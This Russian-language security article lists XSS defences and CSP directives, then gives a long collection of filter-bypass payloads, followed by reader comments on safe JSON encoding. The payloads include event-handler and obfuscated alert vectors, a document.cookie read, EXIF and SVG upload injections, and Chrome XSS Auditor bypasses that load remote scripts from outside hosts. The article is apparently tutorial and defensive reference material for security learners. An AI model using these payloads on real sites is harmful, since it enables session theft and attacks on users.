Методы обхода защитных средств веб-приложений при эксплуатации XSS-векторов

    image

     
    Несмотря на большое количество рекомендаций по защите веб-приложения от клиент-сайд атак, таких как XSS (cross site scripting) многие разработчики ими пренебрегают, либо выполняют эти требования не полностью. В статье будут рассмотрены способы обхода средств фильтрации и при эксплуатации xss-векторов.


    Сейчас существует довольно много способов предотвращения XSS-уязвимостей, включая защитные средства современных браузеров, пытающихся предотвратить выполнение вредоносного кода, воздействующего на пользователя. Тем не менее XSS уязвимости на протяжении последних лет уверенно входят в первую тройку OWASP. XSS уязвимости встречаются как на малопосещаемых проектах, так и на крупных — например можно посмотреть подборку последних public disclosed уязвимостей проекта hackerone — львиную долю из них занимают как раз xss уязвимости. Это касается и довольно распространенных CMS — последняя (на момент публикации статьи) версия Wordpress 4.7.3. закрывает несколько XSS уязвимостей.


    Защита


    Основные превентивные меры:


    • валидация данных
    • преобразование вывода

    На практике это должно быть реализовано в виде:


    • исключения всех недоверенных данных из контекста (body, атрибуты, JavaScript, CSS или URL);
    • использование "белых списков" на строне сервера (проверка длины, формата, логики и.д.);
    • использование специализированных средств очистки данных (OWASP AntiSamy или Java HTML Sanitizer Project);
    • использование атрибута HttpOnly;
    • использование Content Security Policy.

    Не давайте использовать недоверенные данные:


    <script>...XSS...</script>  в script
    
     <!--....XSS...-->  в HTML комментарии
    
     <div ...XSS...=test />  в имени атрибута
    
     <...XSS...... href="/test" />  в имени тега
    
     <style>...XSS...</style>  в CSS

    Не давайте использовать недоверенные данные в содержимом HTML элемента:


    <body> ... очищаем данные ... </ body>
     <div> ... очищаем данные ... </ div>

    Используйте преобразование сущностей:


     & --> &amp;
     < --> &lt;
     > --> &gt;
     " --> &quot;
     ' --> &#x27;   ( &apos;  не рекомендуется)
     / --> &#x2F; 

    Методов защиты довольно много, но одним из самых эффективных является использование Content Security Policy.


    Content Security Policy


    Ранее, одним из главных принципов безопасности браузеров являлась политика Same Origin Policy. Ее суть заключается в проверке трех компонентов, из которых состоит origin: протокол, хост и порт. Однако при внедрении пейлода с одного сайта на другой SOP будет бесполезен для сайта с внедренным пейлоадом. Поэтому на смену SOP пришел CSP, основное предназначение которого состоит в том, чтобы защитить пользователя от угроз межсайтового выполнения сценариев. CSP описывает безопасные источники загрузки ресурсов, устанавливает правила использования встроенных стилей, скриптов, а также динамической оценки JavaScript. Самое главное — загрузка с ресурсов, не входящих в «белый список», блокируется.


    Поддерживаемые директивы:


    • Default-src: определение политики загрузки для всех типов ресурсов в случае, если определенная директива типа ресурса не определена (резервная);
    • Script-src: какие скрипты могут использовать защищенный ресурс;
    • Object-src: откуда ресурс может загружать плагины;
    • Style-src: какие стили (CSS) пользователь применяет к защищенному ресурсу;
    • Img -src: откуда защищенный ресурс может загружать изображения;
    • Media-src: откуда защищенный ресурс может загружать видео и аудио;
    • Frame-src: где защищенный ресурс может вставлять кадры;
    • Font-src: где защищенный ресурс может загружать шрифты;
    • Connect-src: какие URI могут быть загружены защищенным ресурсом;
    • Form-action: какие URI могут использоваться как результат работы HTML-формы;
    • Sandbox: определяет политику «песочницы HTML»;
    • Script-nonce: выполнение сценария, требуя наличия указанного nonce для элементов сценария;
    • Plugin-types: набор плагинов, которые могут быть вызваны защищенным ресурсом, путем ограничения типов ресурсов, которые могут быть встроены;
    • Reflection-xss: активировать или деактивировать любые проверки, используемые для фильтрации или блокирования отраженных атак между сайтами, эквивалентные нестандартному заголовку X-XSS-Protection;
    • Report-uri: указывает URI, на который агент пользователя отправляет отчеты о нарушении правил.

    Выявление XSS уязвимостей


    В качестве проверки наличия уязвимости можно использовать XSS-локаторы или зонды:
    Простейший зонд:


    '';!--"<XSS>=&{()}

    Простейший JavaScript XSS:


    <SCRIPT SRC=http://xss/xss.js></SCRIPT>

    Пример нескольких пейлоадов для обхода возможной фильтрации:


    '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
    <script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>
    <script>alert(document.cookie)</script>">
    <img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">

    Директива JavaScript:


    <IMG SRC="javascript:alert('XSS');">

    Регистронезависимый вектор:


    <IMG SRC=JaVaScRiPt:alert('XSS')>

    Обработчики событий могут быть использованы для внедрения XSS-пейлоада:


    FSCommand
    onAbort
    onActivate
    onAfterPrint
    onAfterUpdate
    onBeforeActivate
    onBeforeCopy
    onBeforeCut
    onBeforeDeactivate
    onBeforeEditFocus
    onBeforePaste
    onBeforePrint
    onBeforeUnload
    onBeforeUpdate
    onBegin
    onBlur
    onBounce
    onCellChange
    onChange
    onClick
    onContextMenu
    onControlSelect
    onCopy
    onCut
    onDataAvailable
    onDataSetChanged
    onDataSetComplete
    onDblClick
    onDeactivate
    onDrag
    onDragEnd
    onDragLeave
    onDragEnter
    onDragOver
    onDragDrop
    onDragStart
    onDrop
    onEnd
    onError
    onErrorUpdate
    onFilterChange
    onFinish
    onFocus
    onFocusIn
    onFocusOut
    onHashChange
    onHelp
    onInput
    onKeyDown
    onKeyPress
    onKeyUp
    onLayoutComplete
    onLoad
    onLoseCapture
    onMediaComplete
    onMediaError
    onMessage
    onMouseDown
    onMouseEnter
    onMouseLeave
    onMouseMove
    onMouseOut
    onMouseOver
    onMouseUp
    onMouseWheel
    onMove
    onMoveEnd
    onMoveStart
    onOffline
    onOnline
    onOutOfSync
    onPaste
    onPause
    onPopState
    onProgress
    onPropertyChange
    onReadyStateChange
    onRedo
    onRepeat
    onReset
    onResize
    onResizeEnd
    onResizeStart
    onResume
    onReverse
    onRowsEnter
    onRowExit
    onRowDelete
    onRowInserted
    onScroll
    onSeek
    onSelect
    onSelectionChange
    onSelectStart
    onStart
    onStop
    onStorage
    onSyncRestored
    onSubmit
    onTimeError
    onTrackChange
    onUndo
    onUnload
    onURLFlip
    seekSegmentTime

    Примеры XSS-пейлоадов для обхода фильтрации


    Добавление тега:


    <svg onload=alert(1)>
    "><svg onload=alert(1)//

    Инлайн пейлоад:


    "onmouseover=alert(1)//
    "autofocus/onfocus=alert(1)//

    Javascript пейлоады:


    '-alert(1)-'
    '-alert(1)//
    \ '- alert (1) // 

    Javascript пейлоад (добавление тега):


    </ Script> <svg onload = alert (1)>

    Внедрение PHP_SELF:


    http: //DOMAIN/PAGE.php/ "> <svg onload = alert (1)>

    Обход фильтрации скобок:


    <svg onload=alert`1`>
    <svg onload=alert&lpar;1&rpar;>
    <svg onload=alert&#x28;1&#x29>
    <svg onload=alert&#40;1&#41>

    Обход фильтра "alert":


    (alert)(1)
    a=alert,a(1)
    [1].find(alert)
    top["al"+"ert"](1)
    top[/al/.source+/ert/.source](1)
    al\u0065rt(1)
    top['al\145rt'](1)
    top['al\x65rt'](1)
    top[8680439..toString(30)](1)

    Тег body:


    <body onload=alert(1)>
    <body onpageshow=alert(1)>
    <body onfocus=alert(1)>
    <body onhashchange=alert(1)><a href=#x>click this!#x
    <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
    <body onscroll=alert(1)><br><br><br><br>
    <br><br><br><br><br><br><br><br><br><br>
    <br><br><br><br><br><br><br><br><br><br>
    <br><br><br><br><br><br><x id=x>#x
    <body onresize=alert(1)>press F12!
    <body onhelp=alert(1)>press F1! (MSIE)

    Редко используемые теги:


    <marquee onstart=alert(1)>
    <marquee loop=1 width=0 onfinish=alert(1)>
    <audio src onloadstart=alert(1)>
    <video onloadstart=alert(1)><source>
    <input autofocus onblur=alert(1)>
    <keygen autofocus onfocus=alert(1)>
    <form onsubmit=alert(1)><input type=submit>
    <select onchange=alert(1)><option>1<option>2
    <menu id=x contextmenu=x onshow=alert(1)>right click me!

    Обработчики событий:


    <x contenteditable onblur=alert(1)>lose focus! 
    <x onclick=alert(1)>click this! 
    <x oncopy=alert(1)>copy this! 
    <x oncontextmenu=alert(1)>right click this! 
    <x oncut=alert(1)>copy this! 
    <x ondblclick=alert(1)>double click this! 
    <x ondrag=alert(1)>drag this! 
    <x contenteditable onfocus=alert(1)>focus this! 
    <x contenteditable oninput=alert(1)>input here! 
    <x contenteditable onkeydown=alert(1)>press any key! 
    <x contenteditable onkeypress=alert(1)>press any key! 
    <x contenteditable onkeyup=alert(1)>press any key! 
    <x onmousedown=alert(1)>click this! 
    <x onmousemove=alert(1)>hover this! 
    <x onmouseout=alert(1)>hover this! 
    <x onmouseover=alert(1)>hover this! 
    <x onmouseup=alert(1)>click this! 
    <x contenteditable onpaste=alert(1)>paste here!

    Прямое выполнение:


    <script>alert(1)</script> 
    <script src=javascript:alert(1)> 
    <iframe src=javascript:alert(1)> 
    <embed src=javascript:alert(1)> 
    <a href=javascript:alert(1)>click 
    $<!-- math><brute href=javascript:alert(1)>click 
    <form action=javascript:alert(1)><input type=submit> 
    <isindex action=javascript:alert(1) type=submit value=click> 
    <form><button formaction=javascript:alert(1)>click 
    <form><input formaction=javascript:alert(1) type=submit value=click> 
    <form><input formaction=javascript:alert(1) type=image value=click> 
    <form><input formaction=javascript:alert(1) type=image src=SOURCE> 
    <isindex formaction=javascript:alert(1) type=submit value=click> 
    <object data=javascript:alert(1)> 
    <iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;> 
    <svg><script xlink:href=data:,alert(1) /> 
    $<!-- math><brute xlink:href=javascript:alert(1)>click 
    <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>

    Обработчики мобильных событий:


    <html ontouchstart=alert(1)> 
    <html ontouchend=alert(1)> 
    <html ontouchmove=alert(1)> 
    <html ontouchcancel=alert(1)>
    <body onorientationchange=alert(1)>

    Загрузка файлов:


    "><img src=1 onerror=alert(1)>.gif
    
    В метаданных
    $ exiftool -Artist='"><img src=1 onerror=alert(1)>' FILENAME.jpeg
    
    В SVG файле
    <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
    
    GIF файл в качестве источника
    GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

    Обход XSS аудитора Google Chrome (до 51 версии):


    <script src="data:&comma;alert(1)// 
    "><script src=data:&comma;alert(1)// 
    
    <script src="//brutelogic.com.br&sol;1.js&num; 
    "><script src=//brutelogic.com.br&sol;1.js&num; 
    
    <link rel=import href="data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt; 
    "><link rel=import href=data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;

    Заключение


    Придерживаться правила: all input is evil until proven otherwise.
    Проверять входящие данные.
    Проверять вывод.
    Использовать комплексные средства защиты веб-приложений от хакерских атак.

    OWASP
    Open Web Application Security Project
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 12

      0
      Растет уровень угроз — совершенствуется защита. Совершенствуется защита — совершенствуется малварь. Если исходить из этого, получится замкнутый круг! Сам малварь (его разработка и использование) — всего лишь следствие. Работать необходимо в первую очередь с причиной. Снижение экономической выгоды от использования малваря пропорционально снижению использования малваря. И наоборот.
        +3
        Фильтрация, комплексные средства… Всю статью можно свести к одной фразе:
        Используйте преобразование сущностей

        При выводе значения в HTML-разметку нужно использовать преобразование сущностей.

        При выводе значения внутри тега script нужно использовать JSON-кодирование. Кавычки для строк вручную писать не надо.

        При этом, если вывод в HTML в атрибут типа href, то перед этим надо дополнительно сделать URL-кодирование для составных частей URL, если в атрибут типа onclick, то JSON-кодирование.

        Если у вас такой редкий случай, что пользователь может вводить абсолютный URL полностью, то надо проверять, чтобы он не начинался с javascript:, а лучше разрешать только начинающийся с http:/https:.

        Если у вас такой редкий случай, что вы выводите пользовательское значение внутри тега style, то нужно использовать приведение к int для числовых значений либо добавление слешей к кавычкам для строковых. При этом обрамляющие кавычки лучше добавлять в функции добавления слешей, так же как делает json_encode(), а не хардкодить в css-разметке. Потому что иначе можно ошибиться и где-нибудь случайно написать кавычки другого типа.

        Для вывода пользовательского HTML нужно использовать специальные средства типа HTMLPurifier.

        Надо понимать, что происходит не просто вывод значения, а вывод значения в определенный контекст.
        И пусть пользователь вводит всё что хочет, не надо его ограничивать.
          0
          Если у вас такой редкий случай, что пользователь может вводить абсолютный URL полностью, то надо проверять, чтобы он не начинался с javascript:, а лучше разрешать только начинающийся с http:/https:.


          так можно пропустить:
          http://domain.com" onclick="javascript:...."
            0
            Оно конечно да, но кодирование сущностей тоже должно быть, тогда кавычки в URL не сломают разметку.
            0
            При выводе значения внутри тега script нужно использовать JSON-кодирование. Кавычки для строк вручную писать не надо.

            Можно про этот случай подробнее? Как раз сегодня мучился с задачей как передать объект внутрь script (на стороне фронтенда) при рендеринге темплейта на стороне сервера (express + nunjucks templates). Объект содержит пользовательские данные, то есть может содержать все что угодно. Объект сериализирую в JSON чтобы потом подставить в скрипт и распарсить с помощью JSON.parse. Если выводить напрямую, то включается html экранирование nunjucks и результирующий js получается невалидный. Если отключить экранирование и выводить как есть, то в это чревато вышеописанным XSS. Что-то не получилось нагуглить внятного примера под nodejs, хотя знаю что задача актуальная и существуют методы на других шаблонизаторах (var a = {!JSENCODE(var)} к примеру в Visualforce). Нашел выход один, но так сказать через другое место — выводить JSON как обычный экранированный текст в html тег и потом вытягивать его с помощью innerHTML, а дальше парсить. Но может есть способ элегантнее?
              0
              Если пользовательские данные это например строка из БД, то можно сделать так:
              <script>
                  var obj = <?= json_encode($data) ?>;  // var obj = {field: "user_value", ...};
              </script>
              


              Пример на PHP, но принцип думаю везде одинаковый. То есть, на клиенте не надо делать JSON.parse, просто сразу объявляем объект, который бразуер распарсит при загрузке страницы.
                0
                А что произойдет если в json будет такая штука?
                {field: "</script><script>alert('hacked')", ...};
                

                Я без особых знаний данной темы понимаю что ничего хорошего. А если еще применять различные техники скрытия спецсимволов? По вашему примеру получается что $data без экранирования становится частью html разметки.
                  0
                  В PHP json_encode() экранирует слеши. У меня получается такой вывод:

                  <?php
                      $data = ['field' => "</script><script>alert('hacked')"];
                  ?>
                  <script>
                      var obj = <?= json_encode($data) ?>;
                  </script>
                  


                  <script>
                      var obj = {"field":"<\/script><script>alert('hacked')"};
                  </script>
                  


                  Никаких алертов не происходит.
                    0
                    Тогда вопрос сужается.
                    в NodeJS JSON.stringify не экранирует.
                    Как это реализовать в NodeJS?
                    Шаблонизатор (Nunjucks) который я использую не позволяет это сделать из коробки.
                    Пилить свою функцию которая тупо заменяет какой-то набор спецсимволов не вариант, потому что я не знаю всех возможных вариантов представления исполняемого кода чтобы быть уверенным в том что моя функция 100% рабочаю. Есть ли какое-нибудь готовое решение под NodeJS которое сделает строку безопасной для JS и при этом без всяких html entities которые выплевывает шаблонизатор.
                      0
                      В Nunjucks же вроде можно свой фильтр сделать? Делаете свой фильтр, который выполняет JSON.stringify(data).replace('/', '\\/'). Тут проблема только в слешах, и то только потому что браузер так закрывающий тег script внутри строки обрабатывает.
            0
            удалено
              0
              использование «белых списков» на строне сервера (проверка длины, формата, логики и.д.);
              Ну, валидацию входных данных нужно делать всегда безотносительно XSS.

              В отношении CSP report-uri, кто-нибудь боролся с браузерными плагинами, выполняющимися в контексте текущей страницы и вызывающими ложное срабатывание оповещения? Я так и не смог придумать универсальный способ блокировки хотя бы на стороне сервера.

              Сайд-замечание: ваши «клиент-сайд» и «пейлоад» вызывают когнитивный диссонанс между зрением и внутренней речью :)

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое